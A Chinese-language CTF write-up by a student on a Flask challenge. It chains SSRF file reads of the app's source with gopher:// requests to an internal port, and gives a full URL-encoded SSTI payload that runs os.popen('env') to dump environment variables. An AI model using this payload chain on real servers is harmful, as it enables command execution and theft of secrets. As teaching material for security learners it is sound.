好久不见各位,笔者前段时间花了10天时间学习c++,备赛码蹄杯,所以很久没有产出。
此题还是之前做的,没写完笔记,于是乎,今日更新。
笔者大一小白一个,从未参加过这种竞赛,犯了规(蓝牙鼠标,提前在编译器写了快些快读代码)
本来也没写出几道题,还好没写出哈哈哈哈哈哈哈
进入正题:
知识点:
1.flask的app.py启动文件

2.SSTI(Server-Side Template Injection,服务端模板注入)
3.SOCK_STREAM
指基于TCP协议、提供面向连接可靠数据传输的Socket类型,属于BSD Socket API的核心组件 [1]。
它通过socket()函数创建,需将type参数设为SOCK_STREAM,并常配合IPv4(AF_INET)或IPv6(AF_INET6)地址族使用,广泛应用于C语言网络编程中。
注意:TCP 通信要求每一行指令必须以 \r\n (也就是 %0d%0a) 结尾。需要处理最底层的换行符编码。
4.gopher 协议
Gopher(网际Gopher协议)是互联网早期基于文本的信息查找系统,由美国明尼苏达大学于1991年设计并命名,名称源自该校"金色地鼠"运动队的俚语缩写。其核心功能为通过层叠菜单结构组织文件索引,支持检索文本文件、远程登录(Telnet)等类型的信息资源。
->
Gopher 本质上是 "互联网早期的资源索引协议"。
-
它诞生于 1991 年,旨在将服务器上的文档和目录整理成一个菜单,供客户端读取。
-
协议特性: 它是一个基于文本的、行导向的协议。用户通过浏览器输入"gopher://"格式的URL即可连接服务器,发送请求,服务器返回菜单或文件内容。
为什么要用它?
协议透明度: HTTP 协议规定了繁琐的头信息(Header),如果格式不对,Web 服务器会直接拒绝。
而 Gopher 协议不关心 你发的内容是什么,它允许你在 TCP 数据流中插入任意字符,包括换行符(\r\n)。
**对 TCP 的直接操控:**TCP 通信的最小单位是字节流。
大多数协议(如 Redis、MySQL)都是基于"换行符"来判断指令结束的。通过 Gopher,你可以通过 %0d%0a 手动伪造出一行行合法的 Redis 指令。
5.SSRF(Server-Side Request Forgery:服务器端请求伪造)
思路:
访问目标网页->等价于访问目标文件->等价于url任意文件读取

1.读取app.py
url:file///app/app.py
from flask import Flask, request
from secret import port_num
import socket
app = Flask(__name__)
@app.route('/', methods=['GET','POST'])
def handle_request():
http_hdr = request.form.get('http_hdr','') //http_hdr->HTTP Header
req = ""
req += http_hdr
if req : //如果你传入的http_hdr,也就是req合法的话,建立套接字帮你连通内网,然后传入你的req
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //建立套接字
//AF_INET指的是[IPv4],SOCK_STREAM说明是tcp协议
sock.connect(('127.0.0.1',port_num)) //连通内网端口
sock.send(req.encode()) //传入你的req
response = b""
while True:
chunk = sock.recv(4096) //收到响应
if not chunk:
break
response += chunk
sock.close()
return response //return响应->我们可以直接遍历内网服务、读取文件内容、或者查看配置信息
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000)
2.读取internal_web.py
url: file:///app/internal_web.py
访问结果:
from flask import Flask, request, render_template_string
from secret import port_num
import os
app = Flask(__name__)
@app.route('/', methods=['GET','POST'])
def index():
template = request.form.get('template', 'Hello World!')
return render_template_string(template) //render_template_string 函数会将传入的字符串作为 Jinja2 的模板代码执行
if __name__ == '__main__':
app.run(host='127.0.0.1', port=port_num)
分析:
1.request.form.get('template', 'Hello World!')是什么
-
request.form:在 Flask 中,
request.form用来获取 POST 请求 中(Content-Type:application/x-www-form-urlencoded或multipart/form-data)提交的数据。 -
代码中的
.get(): 一个方法,用来安全地获取键值。-
意思是:去请求表单里找
template这个字段。 -
如果找到了,就用用户提供的值。
-
如果**没找(或者用户根本没传),就默认使用
'Hello World!'这个字符串。
-
3.读取secret.py找到端口号

port_num=60024
攻击构造
目标是通过gopher协议,我们向60024端口发送请求包,然后它收到请求后会直接把响应包给我们
请求包构造的template参数传入ssti的payload
1.选择攻击协议:
-
由于目标漏洞点在 POST 参数
template中,普通的http://协议很难构造复杂的 POST 报文。 -
Gopher 协议 被称为"万能协议",它允许我们自定义整个 TCP 流量包。它是 SSRF 向内网发送 POST 请求的最佳武器。
2.构造 HTTP 报文:
POST / HTTP/1.1
Host: localhost:60024
Content-Type: application/x-www-form-urlencoded
Content-Length: [长度]
template={{ SSTI_Payload }}
3.ssti绕过与 Payload 编码:
-
逃逸对象链:
-
为了获取环境变量(Flag 所在处),需要从 Flask 的内置对象寻找通往系统命令的路径。
-
config.__class__.__init__.__globals__['os']它利用config对象回溯到 Python 的全局命名空间,从而获取os模块来执行系统命令。
-
-
编码处理:
- Gopher 协议要求对所有特殊字符(如换行符
%0D%0A、空格、括号)进行 URL 编码。
- Gopher 协议要求对所有特殊字符(如换行符
->Payload: url=gopher://localhost:60024/_POST...template={``{config...}}
Payload:
url=
gopher://localhost:60024/_POST%20/%20HTTP/1.1%0D%0A
Host%3A%20localhost%3A60024%0D%0A
Content-Type%3A%20application/x-www-form-urlencoded%0D%0A
Content-Length%3A%2076%0D%0A%0D%0A
template%3D%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27env%27%29.read%28%29%7D%7D
url=gopher://localhost:60024/_POST%20/%20HTTP/1.1%0D%0AHost%3A%20localhost%3A60024%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2076%0D%0A%0D%0Atemplate%3D%7B%7Bconfig.__class__.__init__.__globals__%5B%27os%27%5D.popen%28%27env%27%29.read%28%29%7D%7D
知识点补充:
在构造 Gopher 协议或进行 Web 渗透测试时,除了最关键的换行符 %0D%0A,其他符号也需要根据 URL 编码(Percent-encoding) 的规则来转换:将字符的 ASCII 码十六进制值 前面加上一个 %。
| 符号 | URL 编码 | 说明 |
|---|---|---|
| 空格 | %20 或 + |
HTTP 请求行和参数间的分隔 |
/ |
%2F |
路径分隔符(如 POST / HTTP/1.1) |
: |
%3A |
Host 和端口之间的冒号 |
? |
%3F |
GET 请求的参数起始符 |
= |
%3D |
参数名和值的分隔 |
& |
%26 |
多个参数之间的连接符 |
{ |
%7B |
SSTI 必须的左花括号 |
} |
%7D |
SSTI 必须的右花括号 |
[ |
%5B |
Python 字典或列表索引(如 ['os']) |
] |
%5D |
Python 字典或列表索引 |
' |
%27 |
单引号(Python 字符串) |
" |
%22 |
双引号 |
( |
%28 |
函数调用(如 popen() |
) |
%29 |
函数调用结束 |
. |
%2E |
对象属性访问(如 config.class) |
\* |
%2A |
乘号或通配符 |
关于换行
它是两个特殊字符(控制字符)的组合:
-
%0D(CR - Carriage Return) :十六进制是0x0D,对应 ASCII 码里的 "回车",作用是将光标移到行首。 -
%0A(LF - Line Feed) :十六进制是0x0A,对应 ASCII 码里的 "换行",作用是将光标移到下一行。
在 Windows 系统和 HTTP 协议规范 中,必须同时使用这两个字符 \r\n(即 %0D%0A)来表示一个完整的换行。